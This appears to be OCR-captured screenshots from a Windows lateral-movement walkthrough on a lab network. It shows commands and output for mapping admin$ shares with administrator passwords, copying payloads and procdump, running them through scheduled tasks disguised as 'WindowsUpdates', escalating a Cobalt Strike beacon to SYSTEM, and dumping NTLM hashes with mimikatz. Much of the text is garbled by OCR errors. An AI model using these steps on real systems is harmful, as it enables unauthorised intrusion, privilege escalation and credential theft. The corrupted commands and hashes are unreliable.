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# net use \\192.168.3.102\admin$ /user:"administrator" admin



# net time \\192.168.3.102 EEITFE windows ] B2 A 8]
# xcopy c:\Patches.exe \\192.168.3.102\admin$\temp T payload FEZ NN ENEFF B X T
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# at \\192.168.3.102 HEEE == OB ITTESSIR

# at \\192.168.3.102 /delete /yes MR 28 EAIFT BT MES, ] AEE id A RMERE &I RIES
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Event Log X | Listeners X | Beacon 192.168.8.89@3184 X

beacon> sleep 0

[*] Tasked beacon to become interactive
beacon> shell netstat -ano

[*] Tasked beacon to run: netstat -ano
[+] host called home, sent: 36 bytes
[+] received output:
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C:\>net use \\192.168.3.108\admin$ /user:"administrator" "admin!@#45"
The command completed successfully.

C:\>net time \\192.168.3.168
Current time at \\192.168.3.108 is 10/25/2018 11:52:29 AM

Local time (GMT-©7:00) at \\192.168.3.108 is 10/24/2018 8:52:29 PM

The command completed successfully.

C:\>xcopy c:\bit.exe \\192.168.3.108\admin$\temp\
C:\bit.exe

C:\>schtasks /create /s 192.168.3.108 /u "administrator"” /p "admin!@#45" /RL HIGHEST /F /tn "WindowsUpdates" /
dows/temp/bit.exe" /sc DAILY /mo 1 /ST 20:15

SUCCESS: The scheduled task "WindowsUpdates" has successfully been created.

C:\>schtasks /run /tn WindowsUpdates /s 192.168.3.108 /U " administrator” /P "admin!@#45"
SUCCESS: Attempted to run the scheduled task "WindowsUpdates"”.

C:\>schtasks /query /s 192.168.3.108 /U "administrator" /P "admin!@#45" | findstr "WindowsUpdates"

; indowsUpdates 16/25/2018 8:15:060 PM Running

C:\>schtasks /delete /F /tn WindowsUpdates /s 192.168.3.108 /U " administrator” /P "admin!@#45"
SUCCESS: The scheduled task "WindowsUpdates" was successfully deleted.

C:\>
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Event Log X | Listeners X | Listeners X | Beacon 192.168.4.8@4004 X

beacon> sleep 0

[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
beacon> shell schtasks /query | findstr "WindowsUpdates"”

[#*] Tasked beacon to run: schtasks /query | findstr "WindowsUpdates"
[+] host called home, sent: 50 bytes

g = Sd _OLTRL

WindowsUpdafes 10/25/2018 8:15:00 PM Running

beacon> getuid

[#*] Tasked beacon to get userid

[+] host ca = i s

[*] You are|WEBSERVER-IIS8\Administrator (admin)
beacon> getsystem

[*] Tasked beacon to get SYSTEM

[+] host called home, sent: 98 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
beacon> getuid

[#*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[*] You are NT AUTHORITY\SYSTEM (admin)
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# net use \\192.168.3.106\admin$ /user:"administrator" "admin!@#45"

# net time \\192.168.3.106

# xcopy c:\procdump64.exe \\192.168.3.106\admin$\temp

# xcopy c:\hash.bat \\192.168.3.106\admin$\temp

# schtasks /create /s 192.168.3.106 /u "administrator" /p "admin!@#45" /RL HIGHEST /F /tn "WindowsUpdates" /tr "C:/Windows/temp/hash.bat" /sc DAILY /mo 1 /ST 22:25
# schtasks /run /tn WindowsUpdates /s 192.168.3.106 /U " administrator" /P "admin!@#45"

# dir \\192.168.3.106\admin$\temp | findstr "ResDump.dmp"

# xcopy \\192.168.3.106\admin$\temp\ResDump.dmp D:\tools\mimikatz_trunk\x64\

# schtasks /query /s 192.168.3.106 /U "administrator" /P "admin!@#45" | findstr "WindowsUpdates"

# schtasks /delete /F /tn WindowsUpdates /s 192.168.3.106 /U " administrator" /P "admin!@#45"

# mimikatz.exe "sekurlsa::minidump ResDump.dmp" "sekurlsa::logonPasswords" exit
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C:\>net use \\192.168.3.106\admin$ /user:"administrator” "admin!@#45"
The command completed successfully.

C:\>net time \\192.168.3.106
Current time at \\192.168.3.106 is 10/25/2018 1:20:33 PM

Local time (GMT-87:00) at \\192.168.3.106 is 10/24/2018|10:20:33 PM

The command completed successfully.

:\procdump64.exe
File(s) copied

\hash bat
File(s) copied

C:\>schtasks /create /s 192.168.3.106 /u "administrator" /p "admin!@#45" /RL HIGHEST /F /tn "WindowsUpdates" /|
emp/hash.bat" /sc DAILY /mo 1 /ST 22:25




[&+ Select Administrator: C:\Windows\system32\cmd.exe
Authentication Id : © ; 487345 (©0EEEEL0:00076Tb1)
Session : Interactive from 1
User Name : |Administrator
Domain : |ROOTKIT
Logon Server : |206@8R2-DCSERVER
Logon Time : [1e/25/2018 1:15:88 PM
SID : |5-1-5-21-1282335229-4272261775-2564332284-500
msv :
[ee000003] Primary
* Username : Administrator
* Domain : ROOTKIT
* NTLM : 518b98ad4178a53695dc997aav2d455¢c
* SHA1 : 39aa99a9e2a53ffcbelb9eb411e8176681d01c39

[ee010000] CredentialKeys

* NTLM : 518b98ad4178a53695dc997aa@2d455¢

* SHA1 : 3933993992353ffcbe1E9eb411e8176631d61c39
tspkg :
wdigest :

* Username : Administrator

* Domain : ROOTKIT
* Password :
kerberos :
* Username : Administrator
* Domain : ROOTKIT.ORG
* password : (null)
ssp
credman :
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